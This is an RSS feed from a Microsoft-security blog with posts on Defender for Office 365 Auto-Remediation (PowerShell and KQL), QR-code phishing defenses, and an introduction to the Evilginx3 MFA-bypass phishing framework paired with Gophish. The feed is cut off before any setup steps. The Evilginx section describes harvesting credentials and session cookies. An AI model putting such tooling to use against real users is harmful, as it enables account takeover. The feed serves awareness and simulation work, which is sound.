<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Microsoft Defender for Office 365 - Modern Security</title><link>https://www.modernsecurity.nl/microsoft-defender-for-office-365/</link><description>Technical blogs on Microsoft Defender for Office 365, focusing on phishing detection, Safe Links, Safe Attachments, and email attack analysis.</description><language>en-us</language><copyright>© 2026 Modern Security</copyright><generator>Hugo</generator><lastBuildDate>Mon, 21 Jul 2025 12:31:18 +0100</lastBuildDate><atom:link href="https://www.modernsecurity.nl/microsoft-defender-for-office-365/index.xml" rel="self" type="application/rss+xml"/><image><url>https://www.modernsecurity.nl/img/logo-light_hu_98d13a0e48fc51de.png</url><title>Microsoft Defender for Office 365 - Modern Security</title><link>https://www.modernsecurity.nl/microsoft-defender-for-office-365/</link></image><item><title>Defender for Office 365 Auto‑Remediation (AIR) – the hidden capability</title><link>https://www.modernsecurity.nl/defender-for-office365-air-auto%E2%80%91remediation/</link><guid isPermaLink="true">https://www.modernsecurity.nl/defender-for-office365-air-auto%E2%80%91remediation/</guid><pubDate>Thu, 29 May 2025 19:34:39 +0100</pubDate><dc:creator>Farid Kalaidji</dc:creator><category>Microsoft Defender for Office 365</category><description>Enable Defender for Office 365 Auto‑Remediation to cut SOC dwell time and auto-delete threats. Learn how it works and how to monitor it.</description><content:encoded><![CDATA[
<h2 class="relative group">Introduction
    <div id="introduction" class="anchor"></div>
    
</h2>
<p>With the continuous evolution of <a href="https://www.modernsecurity.nl/microsoft-defender-for-office-365/" >Microsoft Defender for Office 365</a>, a powerful automation feature has been introduced quietly called <strong>Auto‑Remediation</strong>. <a href="https://techcommunity.microsoft.com/blog/microsoftdefenderforoffice365blog/auto-remediation-of-malicious-messages-in-automated-investigation-and-response-a/4418047"  target="_blank" rel="noreferrer">Shipped in May 2025</a>, this capability allows Defender to automatically remove malicious emails identified within a cluster, without requiring human intervention.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Auto‑Remediation"
    width="800"
    height="448"
    src="https://www.modernsecurity.nl/defender-for-office365-air-auto%E2%80%91remediation/user-submission-porcess-auto-remediation-blog-v2_hu_126c0072998619fb.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/defender-for-office365-air-auto%E2%80%91remediation/user-submission-porcess-auto-remediation-blog-v2.webp"></figure><p>While Automated Investigation &amp; Response (AIR) has long offered the ability to cluster and investigate threats, final approval of remediation actions traditionally required manual analyst (delayed) input like you see in my banner picture. Auto‑Remediation eliminates this dependency: reducing human bottlenecks, improving <em><strong>dwell time</strong></em> metrics, and increasing consistency in post-delivery defense.</p>
<p>This article explains how the feature works, how to enable it, and how to confirm its operational effectiveness using Defender tools and hunting telemetry.</p>

<h2 class="relative group">From manual oversight to autonomous containment
    <div id="from-manual-oversight-to-autonomous-containment" class="anchor"></div>
    
</h2>
<p>Without Auto‑Remediation, even verified phishing messages require analyst action before removal. This introduces a measurable delay in response time, often extending <strong>dwell time</strong> for malicious emails from a few minutes to over an hour.</p>
<p>In a SOC context, every minute an active threat remains in a user’s mailbox represents elevated risk. Reducing dwell time is not only a best practice, but a critical benchmark in phishing defense maturity.</p>
<p>Organizations enabling Auto‑Remediation often experience:</p>
<ul>
<li><strong>Up to 90% faster remediation</strong> in phishing investigations</li>
<li><strong>Reduced analyst workload</strong> in Action Center</li>
<li><strong>Improved MTTC (mean time to containment)</strong> at scale</li>
</ul>

<h2 class="relative group">Capability overview
    <div id="capability-overview" class="anchor"></div>
    
</h2>
<p>Auto‑Remediation operates silently, retains full auditability, and aligns with modern SOC requirements for precision and accountability.</p>
<p>Once Auto‑Remediation is enabled, Microsoft Defender for Office 365 will:</p>
<ul>
<li>Identify and act on <strong>malicious clusters</strong> of email based on shared attributes (file hash, URL)</li>
<li>Automatically trigger <strong>soft delete</strong> actions for clusters under 10,000 messages</li>
<li>Rely on Defender’s ML-based scoring to determine action confidence</li>
<li>Preserve full telemetry in Defender and Purview logs for compliance and analysis</li>
</ul>
<p>This shift to hands-off, policy-driven execution provides consistent and timely remediation during active attacks.</p>

<h2 class="relative group">Technical workflow
    <div id="technical-workflow" class="anchor"></div>
    
</h2>
<p>Auto‑Remediation builds on AIR and is structured as follows:</p>
<ol>
<li><strong>Detection</strong>: Initiated via ZAP, Safe Links, user report, or external intelligence</li>
<li><strong>Clustering</strong>: Messages grouped into a cluster based on shared indicator (e.g. attachment hash, phishing URL)</li>
<li><strong>Confidence evaluation</strong>: Microsoft’s backend scores the threat; a threshold score of ~0.83 or higher triggers classification as malicious</li>
<li><strong>Policy enforcement</strong>: If Auto‑Remediation is enabled for the relevant cluster type, the action is executed</li>
<li><strong>Action execution</strong>: Soft delete removes the email and places it in <code>Recoverable Items &gt; Purges</code> (non-restorable by user)</li>
<li><strong>Audit logging</strong>: Defender logs actions in <code>EmailPostDeliveryActions</code>, <code>ActionCenterEvents</code>, and Purview for traceability</li>
</ol>
<p>False positives can be rolled back via portal or PowerShell, maintaining SOC control while automating the default response.</p>

<h2 class="relative group">Licensing and prerequisites
    <div id="licensing-and-prerequisites" class="anchor"></div>
    
</h2>

<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th>Requirement</th>
              <th>Description</th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td><strong>License</strong></td>
            <td>Microsoft Defender for Office 365 Plan 2 (included in Microsoft 365 E5/E5 Security)</td>
        </tr>
        <tr>
            <td><strong>Admin Role</strong></td>
            <td>Security Administrator or Global Administrator</td>
        </tr>
        <tr>
            <td><strong>AIR must be enabled</strong></td>
            <td><a href="https://learn.microsoft.com/en-us/defender-office-365/air-about"  target="_blank" rel="noreferrer">Automated Investigation &amp; Response (AIR) is a prerequisite</a></td>
        </tr>
    </tbody>
  </table>
</div>

<h2 class="relative group">Step-by-Step configuration guide
    <div id="step-by-step-configuration-guide" class="anchor"></div>
    
</h2>

<h3 class="relative group">Step 1 – Open Automation Settings
    <div id="step-1-open-automation-settings" class="anchor"></div>
    
</h3>
<ul>
<li>Sign in to <a href="https://security.microsoft.com/"  target="_blank" rel="noreferrer">security.microsoft.com</a></li>
<li>Navigate to <strong>Settings → Email &amp; collaboration → MDO automation settings</strong></li>
</ul>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="MDO automation settings in the Defender portal with the message cluster options unchecked"
    width="2000"
    height="1126"
    src="https://www.modernsecurity.nl/defender-for-office365-air-auto%E2%80%91remediation/image-11_hu_ddeb24302d02c758.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/defender-for-office365-air-auto%E2%80%91remediation/image-11.webp"></figure>
<h3 class="relative group">Step 2 – Enable Remediation for Cluster Types
    <div id="step-2-enable-remediation-for-cluster-types" class="anchor"></div>
    
</h3>
<p>Choose which detection types should trigger Auto‑Remediation:</p>
<ul>
<li><strong>Similar URLs</strong> (recommended as a low-risk starting point)</li>
<li><strong>Similar files</strong> (enable after validation and testing)</li>
</ul>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="MDO automation settings with similar files and similar URLs enabled and soft delete as remediation action"
    width="2000"
    height="1133"
    src="https://www.modernsecurity.nl/defender-for-office365-air-auto%E2%80%91remediation/image-12_hu_9ce44140fb3589ec.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/defender-for-office365-air-auto%E2%80%91remediation/image-12.webp"></figure>
<h3 class="relative group">Step 3 – Apply and Save
    <div id="step-3-apply-and-save" class="anchor"></div>
    
</h3>
<p>Currently, <strong>Soft delete</strong> is the only supported remediation action. Confirm your settings and click <strong>Save</strong>.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Confirmation that the automation settings changes have been applied"
    width="1112"
    height="44"
    src="https://www.modernsecurity.nl/defender-for-office365-air-auto%E2%80%91remediation/image-13_hu_d1fbc7188d453288.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/defender-for-office365-air-auto%E2%80%91remediation/image-13.webp"></figure>
<h3 class="relative group">Optional – Configure via PowerShell
    <div id="optional-configure-via-powershell" class="anchor"></div>
    
</h3>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">PowerShell</div><pre tabindex="0" class="chroma"><code class="language-powershell" data-lang="powershell"><span class="line"><span class="cl"><span class="nb">Connect-ExchangeOnline</span>
</span></span><span class="line"><span class="cl"><span class="nb">Set-OrganizationConfig</span> <span class="n">-AutoRemediateMaliciousEmail</span> <span class="vm">$true</span> <span class="p">`</span>
</span></span><span class="line"><span class="cl">                       <span class="n">-AutoRemediateMaliciousEmailWithURLs</span> <span class="vm">$true</span></span></span></code></pre></div></div>

<h2 class="relative group">Monitoring and verification
    <div id="monitoring-and-verification" class="anchor"></div>
    
</h2>
<p>Auto‑Remediation actions are fully traceable. To monitor:</p>

<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th>Location</th>
              <th>Validation Target</th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td><strong>Action Center (History)</strong></td>
            <td>Actions with <code>Decided by: Automation</code> and <code>Completed</code> status</td>
        </tr>
        <tr>
            <td><strong>Threat Explorer</strong></td>
            <td>Filter by <code>Additional Action = Automated remediation</code></td>
        </tr>
        <tr>
            <td><strong>Advanced Hunting</strong></td>
            <td>KQL on <code>EmailPostDeliveryActions</code> and <code>EmailPostDeliveryEvents</code></td>
        </tr>
        <tr>
            <td><strong>Microsoft Purview Audit</strong></td>
            <td>Filter for <code>Automated EOP Action</code> operations</td>
        </tr>
    </tbody>
  </table>
</div>
<p>To reverse an action:</p>
<ul>
<li>Use the <strong>Revert</strong> button in Action Center</li>
</ul>

<h2 class="relative group">KQL queries for hunting and reporting
    <div id="kql-queries-for-hunting-and-reporting" class="anchor"></div>
    
</h2>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql"><span class="c1">// Auto‑Remediation events in the past 7 days</span>
EmailPostDeliveryEvents
<span class="o">|</span> <span class="k">where</span> ActionType <span class="o">==</span> <span class="s">&#34;Automated Remediation&#34;</span> <span class="k">and</span> ActionTrigger <span class="o">==</span> <span class="s">&#34;Automation&#34;</span>
<span class="o">|</span> <span class="k">where</span> Timestamp <span class="o">&gt;</span> <span class="nf">ago</span>(7d)</code></pre></div>
</div>
<div class="highlight-wrapper"><div class="highlight"><div class="ms-code-label">KQL</div><pre tabindex="0" class="chroma"><code class="language-kql" data-lang="kql"><span class="c1">// Messages manually restored by administrators</span>
EmailPostDeliveryEvents
<span class="o">|</span> <span class="k">where</span> ActionTrigger <span class="o">==</span> <span class="s">&#34;Admin:Revert&#34;</span></code></pre></div>
</div>
<p>For detailed schema definitions and additional examples of queryable fields, refer to the official Microsoft documentation on the <a href="https://learn.microsoft.com/en-us/defender-xdr/advanced-hunting-emailpostdeliveryevents-table"  target="_blank" rel="noreferrer"><code>EmailPostDeliveryEvents</code></a> and <a href="https://learn.microsoft.com/en-us/defender-xdr/advanced-hunting-emailpostdeliveryevents-table"  target="_blank" rel="noreferrer"><code>EmailPostDeliveryActions</code></a> tables.</p>

<h2 class="relative group">Known limitations (may 2025)
    <div id="known-limitations-may-2025" class="anchor"></div>
    
</h2>

<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th>Limitation</th>
              <th>Description</th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td><strong>Cluster size threshold</strong></td>
            <td>Clusters with ≥ 10,000 messages require manual review</td>
        </tr>
        <tr>
            <td><strong>Supported actions</strong></td>
            <td>Only <code>Soft delete</code> is currently available</td>
        </tr>
        <tr>
            <td><strong>Global policy scope</strong></td>
            <td>Tenant-wide application; no targeting by mailbox or group</td>
        </tr>
    </tbody>
  </table>
</div>

<h2 class="relative group">Additional resources
    <div id="additional-resources" class="anchor"></div>
    
</h2>
<ul>
<li><a href="https://learn.microsoft.com/en-us/defender-office-365/air-auto-remediation"  target="_blank" rel="noreferrer">Microsoft Learn – Auto‑Remediation in AIR</a></li>
<li><a href="https://techcommunity.microsoft.com/"  target="_blank" rel="noreferrer">Microsoft Tech Community – Product Announcement</a></li>
</ul>
<lite-youtube videoid="elws-wwuKsM" playlabel="elws-wwuKsM" params=""></lite-youtube>


<h2 class="relative group">Final thoughts
    <div id="final-thoughts" class="anchor"></div>
    
</h2>
<p>Auto‑Remediation represents a mature evolution in Microsoft Defender’s automated response framework. For SOCs seeking to minimize dwell time and reduce analyst fatigue, this feature provides an immediate operational benefit, without compromising control.</p>
<p>What’s surprising, however, is that despite its clear value, Auto‑Remediation remains <strong>disabled by default</strong>. Given Microsoft’s strong focus on reducing attack impact and response time, it’s notable that organizations must manually activate this feature, especially considering its alignment with modern security automation standards.</p>
<p>If you’re currently running Defender for Office 365 Plan 2 and already trust AIR’s clustering and investigation fidelity, enabling Auto‑Remediation should be your next step.</p>
]]></content:encoded><media:content url="https://www.modernsecurity.nl/defender-for-office365-air-auto%E2%80%91remediation/featured_hu_3e209fb81499db6e.jpg" medium="image" type="image/jpeg" width="1200" height="671"/><enclosure url="https://www.modernsecurity.nl/defender-for-office365-air-auto%E2%80%91remediation/featured_hu_3e209fb81499db6e.jpg" type="image/jpeg" length="65425"/></item><item><title>Protecting against QR Code Phishing (Quishing)</title><link>https://www.modernsecurity.nl/protecting-against-qr-code-phishing/</link><guid isPermaLink="true">https://www.modernsecurity.nl/protecting-against-qr-code-phishing/</guid><pubDate>Thu, 22 Feb 2024 17:32:00 +0100</pubDate><dc:creator>Farid Kalaidji</dc:creator><category>Security</category><category>Microsoft Defender for Office 365</category><category>Microsoft Defender XDR</category><description>In this article, we’ll delve into the fundamentals of QR Code Phishing (Quishing) and provide actionable steps to safeguard against this threat.</description><content:encoded><![CDATA[
<h2 class="relative group">Introduction
    <div id="introduction" class="anchor"></div>
    
</h2>
<p>As part of our SOC team, we’ve witnessed a significant surge in QR Code Phishing incidents over the past year. In this article, we’ll delve into the fundamentals of QR code phishing and provide actionable steps to safeguard against this growing threat. Notably, both offensive and defensive capabilities have evolved, including powerful tools like Evilginx (<a href="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/" >read my blogpost here</a>) and Microsoft’s defensive solutions.<br>
So back to the basics…</p>

<h2 class="relative group">How does QR Code Phishing work?
    <div id="how-does-qr-code-phishing-work" class="anchor"></div>
    
</h2>
<p>QR Codes present a unique challenge for security providers as they appear as an image during mail flow and are unreadable until rendered. Once the QR Code is rendered (what the human eye sees) it can then be scanned/processed for further analysis.</p>
<p><strong>QR codes are used in phishing attacks for mainly two reasons:</strong></p>
<ol>
<li>They move the attack away from well-protected corporate environments and onto the victim’s personally owned mobile device, which may be less secure;</li>
<li>They leverage the most common credential theft vector which is the uniform resource locator (URL). A QR code can be easily manipulated to redirect unsuspecting victims to malicious websites or to download malware in exactly the same way as URLs, only by putting the URL in a more difficult-to-detect location.</li>
</ol>
<p><strong>Steps in the process</strong>:</p>
<ul>
<li>Delivery: Attackers distribute QR codes via emails, social media, or physical means.</li>
<li>Scanning: Unsuspecting users scan the QR codes, assuming they are legitimate.</li>
<li>Redirection: The QR codes redirect users to malicious sites or prompt them to download malware.</li>
<li>Data Theft: The goal is to steal sensitive information.</li>
</ul>
<p>A few examples below (source: Microsoft)</p>
<p><sub><strong>QR Codes are embedded as inline images within email body</strong><br>
In the example below, the QR code is embedded inline within the body of the email, which when scanned redirects the user to a phishing website attempting to gather their credentials.</sub></p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Phishing email posing as a Microsoft 2FA security policy with a QR code in the body"
    width="728"
    height="561"
    src="https://www.modernsecurity.nl/protecting-against-qr-code-phishing/image-1.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/protecting-against-qr-code-phishing/image-1.webp"></figure><p><sub><strong>QR Code within an image in the email body</strong><br>
In the example below, the QR code is placed inside an image embedded inline within the body of the email.  </sub></p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Phishing email posing as DocuSign with a QR code inside an image"
    width="683"
    height="704"
    src="https://www.modernsecurity.nl/protecting-against-qr-code-phishing/image-2.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/protecting-against-qr-code-phishing/image-2.webp"></figure><p><sub><strong>QR Code as an image in an attachment</strong><br>
In the example below, the QR code is embedded inside an attachment that is a PDF, which when scanned redirects the user to a phishing website attempting to gather their credentials.</sub></p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="PDF attachment about a wage increase with a phishing QR code"
    width="805"
    height="670"
    src="https://www.modernsecurity.nl/protecting-against-qr-code-phishing/image-3_hu_2c44df82e77f1d13.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/protecting-against-qr-code-phishing/image-3.webp"></figure>
<h2 class="relative group">Various patterns of QR Code Phishing messages
    <div id="various-patterns-of-qr-code-phishing-messages" class="anchor"></div>
    
</h2>
<p>Within QR Code Phishing, multiple layers of tactics, techniques and procedures (TTPs) reveal various patterns seen by Microsoft. This includes but is not limited to:</p>
<ol>
<li>URL redirection</li>
<li>Minimal to no text (reducing signals for ML detection)</li>
<li>Abuse of known brands</li>
<li>Abuse of sending infrastructure known for sending legitimate emails</li>
<li>A variety of social lures including 2 factor auth, document signing, and more</li>
<li>Embedding QR codes in attachments</li>
</ol>

<h2 class="relative group">How can Microsoft protect me from QR Code Phishing?
    <div id="how-can-microsoft-protect-me-from-qr-code-phishing" class="anchor"></div>
    
</h2>
<p>Microsoft offers a wide array of options to (technically) protect yourself against QR Code Phishing. Ensure that you have at Defender for Office 365 P1/P2 licenses and Defender for Endpoint to make the most of the available features:</p>
<ol>
<li><strong>Microsoft Defender for Office 365</strong> uses advanced technologies to detect and block QR code phishing attacks.</li>
<li><strong>Microsoft Defender for Endpoint</strong> on Android and iOS includes anti-phishing capabilities that apply to QR code phishing attacks, blocking phishing sites from being accessed.</li>
<li><strong>Microsoft Defender for Endpoint</strong> also provides protection against malware that may be downloaded or installed through the URL link.</li>
</ol>
<p>Microsoft Defender for Office 365 has recently also introduced several (new) capabilities to protect organizations against QR code phishing:</p>
<ol>
<li><strong>Advanced Image Extraction Technologies:</strong> Defender for Office 365 uses advanced image extraction technologies to detect QR codes in emails1. These technologies allow the system to extract URL metadata from a QR code and use this information for existing threat protection and filtering capabilities.</li>
<li><strong>Machine Learning Models:</strong> URLs extracted from QR codes are analyzed using machine learning models. These models check the reputation of the URLs and assess their potential threat level.</li>
<li><strong>Heuristics-Based Rules:</strong> Microsoft has developed heuristics-based rules that can quickly identify and block QR code phishing attempts. These rules were released within minutes, leading to approximately 1.5 million QR code phishing attempts blocked in email bodies per day.</li>
<li><strong>Combining Signals:</strong> Defender for Office 365 combines various signals, including QR code data, sender intelligence, message headers, content filtering, and recipient details, to identify malicious messages.</li>
</ol>
<p><a href="https://techcommunity.microsoft.com/t5/microsoft-defender-for-office/protect-your-organizations-against-qr-code-phishing-with/ba-p/4007041"  target="_blank" rel="noreferrer">https://techcommunity.microsoft.com/t5/microsoft-defender-for-office/protect-your-organizations-against-qr-code-phishing-with/ba-p/4007041</a></p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Statistics on QR code phishing blocked by Microsoft Defender for Office 365"
    width="730"
    height="533"
    src="https://www.modernsecurity.nl/protecting-against-qr-code-phishing/urjagandhi-4-1702410703365.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/protecting-against-qr-code-phishing/urjagandhi-4-1702410703365.webp"></figure>
<h2 class="relative group">But wait? Is this all I can do?
    <div id="but-wait-is-this-all-i-can-do" class="anchor"></div>
    
</h2>
<p>When it comes to QR Code Phishing, there’s more to consider (this is important, perhaps even more…). Let’s break this down into two parts:</p>
<p><strong>User Awareness</strong>:</p>
<ul>
<li>All forms of phishing start with awareness.</li>
<li>Train your users to recognize QR Code Phishing attempts (<a href="https://learn.microsoft.com/en-us/microsoft-365/security/office-365-security/attack-simulation-training-simulations?view=o365-worldwide"  target="_blank" rel="noreferrer">also see Microsoft Attack Simulation</a>).</li>
<li>Help them understand when they encounter QR Code Phishing.</li>
</ul>
<p><strong>XDR</strong>:</p>
<ul>
<li>QR Code Phishing aims to gain unauthorized access to an environment.</li>
<li>Often, this involves Account Takeover (AiTM).<sup><a href="https://www.modernsecurity.nl/protecting-against-qr-code-phishing/#d4b1155a-4bb9-48e7-b69b-8d155468207d" >1</a></sup><sup><a href="https://www.modernsecurity.nl/protecting-against-qr-code-phishing/#200b6c74-6cb5-48b7-983e-c84373c2aeb7" >2</a></sup></li>
<li>Leveraging an Extended Detection and Response (XDR) solution allows you to detect, respond and disrupt effectively.</li>
<li>Microsoft’s offerings, such as Identity Protection, Conditional Access, and Phishing Resistant MFA, play a crucial role in defending against these threats.</li>
</ul>
<ol>
<li>For active hunting into QR Code Phishing Microsoft did a pretty good job on all the query’s and indicators you can use to get more understanding of what is going on in your own environment here: <a href="https://techcommunity.microsoft.com/t5/microsoft-security-experts-blog/hunting-for-qr-code-aitm-phishing-and-user-compromise/ba-p/4053324"  target="_blank" rel="noreferrer">Hunting for QR Code AiTM</a> <a href="https://www.modernsecurity.nl/protecting-against-qr-code-phishing/#d4b1155a-4bb9-48e7-b69b-8d155468207d-link" >↩︎</a></li>
<li>Als see <a href="https://techcommunity.microsoft.com/t5/microsoft-defender-for-office/hunting-and-responding-to-qr-code-based-phishing-attacks-with/ba-p/4074730"  target="_blank" rel="noreferrer">this new message</a> from the 1st of april, which enriched possibilities to use identifiers to investigate, monitor alert or trigger automated investigations, hunt and remediate QR code based attacks more effectively and efficiently. <a href="https://www.modernsecurity.nl/protecting-against-qr-code-phishing/#200b6c74-6cb5-48b7-983e-c84373c2aeb7-link" >↩︎</a></li>
</ol>
]]></content:encoded><media:content url="https://www.modernsecurity.nl/protecting-against-qr-code-phishing/featured_hu_2cda8cb48e1b0a44.jpg" medium="image" type="image/jpeg" width="1200" height="800"/><enclosure url="https://www.modernsecurity.nl/protecting-against-qr-code-phishing/featured_hu_2cda8cb48e1b0a44.jpg" type="image/jpeg" length="378555"/></item><item><title>AiTM / MFA phishing attacks with Evilginx3 and Gophish</title><link>https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/</link><guid isPermaLink="true">https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/</guid><pubDate>Mon, 12 Feb 2024 09:33:26 +0100</pubDate><dc:creator>Farid Kalaidji</dc:creator><category>Security</category><category>Microsoft Defender for Office 365</category><description>Evilginx3 is a MiTM attack framework for phishing login credentials along with session cookies (MFA). In this blogpost used together with Gophish.</description><content:encoded><![CDATA[<p>I’ve been a user of <a href="https://evilginx.com/"  target="_blank" rel="noreferrer">Evilginx</a> for quite a few years. It’s an awesome tool, very impressive in its functionality, and still a valid solution for capturing users and their tokens. All the credit goes to Kuba Gretzky for his impressive work on Evilginx2 and now Evilginx3.</p>
<p>That being said, I always find Evilginx great as a one-off solution, but what if you want to keep track of the emails that have been sent out? And want to import email templates with 1 click? Or when you want to use it as a social engineering toolkit? Compared to the <a href="https://www.modernsecurity.nl/security/" >Microsoft</a> Attack Simulation, it only provides the ‘technique’ from a hacker perspective, but you might want to use it as a recurring campaign.</p>
<p>So there’s something more; that’s why I wanted to wrap this up with this blog because there’s a great solution for all these needs. It’s called Gophish, an open-source phishing framework designed for security professionals to conduct simulated phishing attacks, assess organizational vulnerabilities, and enhance cybersecurity awareness.</p>
<p>But first back to the basics…</p>

<h2 class="relative group">What is Evilginx? And how does it work?
    <div id="what-is-evilginx-and-how-does-it-work" class="anchor"></div>
    
</h2>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Evilginx logo"
    width="700"
    height="136"
    src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/evilginx-banner.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/evilginx-banner.webp"></figure><p>Evilginx3 is a sophisticated tool designed for phishing attacks and credential theft. It is an advanced and powerful man-in-the-middle (MITM) attack framework that specifically targets multifactor authentication (MFA) mechanisms. Developed by security researcher Kuba Gretzky, Evilginx3 is the successor to the original Evilginx tool, with enhanced features and capabilities.</p>
<p><strong>Key Features:</strong></p>
<ol>
<li><strong>Man-in-the-Middle (MITM) Attack:</strong> Evilginx operates as a MITM attack, intercepting communication between a user and a targeted service. This enables attackers to capture sensitive information, such as login credentials and session cookies, without the victim’s knowledge.</li>
<li><strong>Focus on Multifactor Authentication (MFA):</strong> One of the distinguishing features of Evilginx3 is its ability to bypass multifactor authentication (very often used with Microsoft environments). It effectively circumvents additional layers of security that typically require a secondary form of verification, allowing attackers to gain unauthorized access.</li>
<li><strong>Credential theft:</strong> Evilginx3 is particularly effective at stealing login credentials. By tricking users into interacting with a malicious site that appears legitimate, the tool captures sensitive data, including usernames and passwords, compromising the security of the targeted accounts.</li>
<li><strong>Phishing attacks:</strong> The tool is commonly used in phishing attacks where users are lured into providing their credentials on a fake website. Evilginx3 excels at creating convincing replicas of legitimate sites, making it challenging for users to distinguish between the authentic service and the malicious one.</li>
<li><strong>Advanced features:</strong> Evilginx3 comes with advanced features, including the ability to adapt to changes in the targeted website’s structure. This makes it resilient against security measures that organizations may put in place to detect and prevent phishing attacks.</li>
<li><strong>Security awareness and prevention:</strong> Understanding the capabilities of Evilginx3 is crucial for security awareness. Organizations should educate their users about the risks of phishing attacks and promote practices to identify and avoid falling victim to such tactics.</li>
<li><strong>Continuous updates:</strong> As a tool actively developed by the security community, Evilginx3 undergoes continuous updates and improvements. It is essential for security professionals and organizations to stay informed about the latest developments to enhance their defense strategies.</li>
</ol>
<p>With Evilginx3 there are plenty of new options and improvements compared to Evilginx2, which you can read here: <a href="https://breakdev.org/evilginx-3-0-evilginx-mastery/"  target="_blank" rel="noreferrer">https://breakdev.org/evilginx-3-0-evilginx-mastery/</a> (I also recommend taking the training the website offers you ^^).</p>
<p>Downside they took the phishlets away from Github, so you might need to build phishlets yourself, but there’s a lot of documentation about this available on the internet (and doable :))</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Evilginx3 phishlets meme with the Evilginx community edition console"
    width="1012"
    height="624"
    src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/1-ahp7uyln80qh6hr4e6czia_hu_5e17845edb016963.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/1-ahp7uyln80qh6hr4e6czia.webp"></figure>
<h2 class="relative group">And what about Gophish?
    <div id="and-what-about-gophish" class="anchor"></div>
    
</h2>
<p>Gophish is an open-source phishing framework that empowers security professionals and penetration testers to conduct simulated phishing attacks. Developed with ease of use and flexibility in mind, Gophish provides a platform for organizations to assess and improve their resilience against phishing threats.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Gophish dashboard illustration with email sent, opened, clicked and submitted data counters"
    width="1500"
    height="650"
    src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/blog-gophish-header-d63f30d0f29ffe87ee8c7292e9d3fb35-bae6f-1_hu_3bf212f5770fdbf1.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/aitm-mfa-phishing-attacks-evilginx3-gophish/blog-gophish-header-d63f30d0f29ffe87ee8c7292e9d3fb35-bae6f-1.webp"></figure><p><strong>Key Features:</strong></p>
<ol>
<li><strong>User-Friendly Interface:</strong> Gophish is renowned for its intuitive and user-friendly web-based interface. Its simplicity allows even those with limited technical expertise to create and manage phishing campaigns effectively.</li>
<li><strong>Campaign Customization:</strong> Security professionals can customize phishing campaigns based on their specific needs. Gophish supports the creation of realistic and targeted simulations, enabling organizations to test their defenses in a controlled environment.</li>
<li><strong>Template Library:</strong> The framework includes a comprehensive template library, offering a variety of pre-built email templates and landing pages. This feature streamlines the process of creating convincing phishing scenarios that closely mimic real-world attacks.</li>
<li><strong>Automated Campaigns:</strong> Gophish facilitates the automation of phishing campaigns, saving time and resources for security teams. Automation allows for the systematic testing of different attack vectors, ensuring a thorough assessment of an organization’s security posture.</li>
<li><strong>Credential Harvesting:</strong> Gophish enables the simulation of credential harvesting attacks, helping organizations identify vulnerabilities in their authentication processes. This is crucial for understanding the potential impact of successful phishing attempts.</li>
<li><strong>Reporting and Analytics:</strong> Detailed reporting and analytics features in Gophish provide valuable insights into the effectiveness of phishing campaigns. Security teams can analyze metrics such as open rates, click-through rates, and successful compromises to refine their security strategies.</li>
</ol>
<p><strong>Use Cases:</strong></p>
<ol>
<li><strong>Security Awareness Training:</strong> Gophish is widely used for security awareness training programs. Simulated phishing campaigns help educate employees about the risks of phishing and reinforce good security practices.</li>
<li><strong>Penetration Testing:</strong> Security professionals leverage Gophish during penetration testing engagements to evaluate an organization’s susceptibility to phishing attacks. This assists in identifying and addressing vulnerabilities before malicious actors can exploit them.</li>
<li><strong>Policy Compliance:</strong> Gophish aids organizations in assessing their compliance with security policies and regulations. Regular phishing simulations assist in identifying areas that may require additional security measures.</li>
</ol>

<h2 class="relative group">Awesome, so how does it work together?
